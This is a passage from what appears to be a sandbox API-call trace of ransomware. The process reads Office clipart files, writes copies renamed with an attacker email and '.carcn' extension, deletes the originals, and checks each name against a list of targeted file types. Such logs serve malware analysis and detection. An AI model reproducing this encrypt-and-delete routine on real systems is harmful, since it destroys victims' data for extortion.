dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.825] GetLastError () returned 0x0 [0265.825] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5b8, lpOverlapped=0x0) returned 1 [0265.850] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0265.853] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.853] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.853] SetEndOfFile (hFile=0x54c) returned 1 [0265.853] CloseHandle (hObject=0x54c) returned 1 [0265.854] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.854] SetEndOfFile (hFile=0x554) returned 1 [0265.857] CloseHandle (hObject=0x554) returned 1 [0265.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0265.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.858] lstrlenW (lpString=".doc") returned 4 [0265.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.858] lstrlenW (lpString=".docx") returned 5 [0265.858] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.858] lstrlenW (lpString=".pdf") returned 4 [0265.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.858] lstrlenW (lpString=".xls") returned 4 [0265.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.858] lstrlenW (lpString=".xlsx") returned 5 [0265.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.859] lstrlenW (lpString=".ppt") returned 4 [0265.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString=".zip") returned 4 [0265.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.859] lstrlenW (lpString=".rar") returned 4 [0265.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString=".bz2") returned 4 [0265.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString=".7z") returned 3 [0265.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString=".dbf") returned 4 [0265.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString=".1cd") returned 4 [0265.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString=".jpg") returned 4 [0265.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.859] lstrlenW (lpString=".doc") returned 4 [0265.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.859] lstrlenW (lpString=".docx") returned 5 [0265.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.859] lstrlenW (lpString=".pdf") returned 4 [0265.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString=".xls") returned 4 [0265.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.860] lstrlenW (lpString=".xlsx") returned 5 [0265.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.860] lstrlenW (lpString=".ppt") returned 4 [0265.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.860] lstrlenW (lpString=".zip") returned 4 [0265.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.860] lstrlenW (lpString=".rar") returned 4 [0265.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString=".bz2") returned 4 [0265.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString=".7z") returned 3 [0265.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.860] lstrlenW (lpString=".dbf") returned 4 [0265.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.860] lstrlenW (lpString=".1cd") returned 4 [0265.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0265.860] lstrlenW (lpString=".jpg") returned 4 [0265.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.861] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.861] lstrlenW (lpString="BL00152_.WMF") returned 12 [0265.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.861] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1516) returned 1 [0265.861] CloseHandle (hObject=0x554) returned 1 [0265.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0265.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.862] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.862] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.863] GetLastError () returned 0x0 [0265.863] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0265.879] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0265.880] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.880] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.880] SetEndOfFile (hFile=0x54c) returned 1 [0265.880] CloseHandle (hObject=0x54c) returned 1 [0265.885] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.885] SetEndOfFile (hFile=0x554) returned 1 [0265.888] CloseHandle (hObject=0x554) returned 1 [0265.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.890] lstrlenW (lpString=".doc") returned 4 [0265.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.890] lstrlenW (lpString=".docx") returned 5 [0265.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.890] lstrlenW (lpString=".pdf") returned 4 [0265.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.890] lstrlenW (lpString=".xls") returned 4 [0265.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.890] lstrlenW (lpString=".xlsx") returned 5 [0265.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.890] lstrlenW (lpString=".ppt") returned 4 [0265.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString=".zip") returned 4 [0265.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.891] lstrlenW (lpString=".rar") returned 4 [0265.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString=".bz2") returned 4 [0265.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString=".7z") returned 3 [0265.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString=".dbf") returned 4 [0265.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString=".1cd") returned 4 [0265.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString=".jpg") returned 4 [0265.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.891] lstrlenW (lpString=".doc") returned 4 [0265.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.891] lstrlenW (lpString=".docx") returned 5 [0265.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.891] lstrlenW (lpString=".pdf") returned 4 [0265.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString=".xls") returned 4 [0265.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.892] lstrlenW (lpString=".xlsx") returned 5 [0265.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.892] lstrlenW (lpString=".ppt") returned 4 [0265.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.892] lstrlenW (lpString=".zip") returned 4 [0265.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.892] lstrlenW (lpString=".rar") returned 4 [0265.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString=".bz2") returned 4 [0265.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString=".7z") returned 3 [0265.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.892] lstrlenW (lpString=".dbf") returned 4 [0265.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.892] lstrlenW (lpString=".1cd") returned 4 [0265.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0265.892] lstrlenW (lpString=".jpg") returned 4 [0265.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.893] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.893] lstrlenW (lpString="BL00195_.WMF") returned 12 [0265.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.897] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=8070) returned 1 [0265.897] CloseHandle (hObject=0x554) returned 1 [0265.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0265.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.898] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.898] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.898] GetLastError () returned 0x0 [0265.898] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1f86, lpOverlapped=0x0) returned 1 [0266.094] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0266.095] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.095] WriteFile (in: hFile=0x54c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.095] SetEndOfFile (hFile=0x54c) returned 1 [0266.096] CloseHandle (hObject=0x54c) returned 1 [0266.097] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.097] SetEndOfFile (hFile=0x554) returned 1 [0266.118] CloseHandle (hObject=0x554) returned 1 [0266.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0266.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.119] lstrlenW (lpString=".doc") returned 4 [0266.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.119] lstrlenW (lpString=".docx") returned 5 [0266.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.119] lstrlenW (lpString=".pdf") returned 4 [0266.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString=".xls") returned 4 [0266.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.120] lstrlenW (lpString=".xlsx") returned 5 [0266.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.120] lstrlenW (lpString=".ppt") returned 4 [0266.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString=".zip") returned 4 [0266.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.120] lstrlenW (lpString=".rar") returned 4 [0266.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString=".bz2") returned 4 [0266.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString=".7z") returned 3 [0266.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString=".dbf") returned 4 [0266.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString=".1cd") returned 4 [0266.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString=".jpg") returned 4 [0266.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.120] lstrlenW (lpString=".doc") returned 4 [0266.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString=".docx") returned 5 [0266.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.121] lstrlenW (lpString=".pdf") returned 4 [0266.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString=".xls") returned 4 [0266.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.121] lstrlenW (lpString=".xlsx") returned 5 [0266.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.121] lstrlenW (lpString=".ppt") returned 4 [0266.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.121] lstrlenW (lpString=".zip") returned 4 [0266.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.121] lstrlenW (lpString=".rar") returned 4 [0266.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString=".bz2") returned 4 [0266.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString=".7z") returned 3 [0266.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.121] lstrlenW (lpString=".dbf") returned 4 [0266.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.121] lstrlenW (lpString=".1cd") returned 4 [0266.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0266.121] lstrlenW (lpString=".jpg") returned 4 [0266.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.122] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.122] lstrlenW (lpString="BL00234_.WMF") returned 12 [0266.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.122] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=9304) returned 1 [0266.122] CloseHandle (hObject=0x554) returned 1 [0266.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0266.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.123] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.123] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.124] GetLastError () returned 0x0 [0266.124] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, 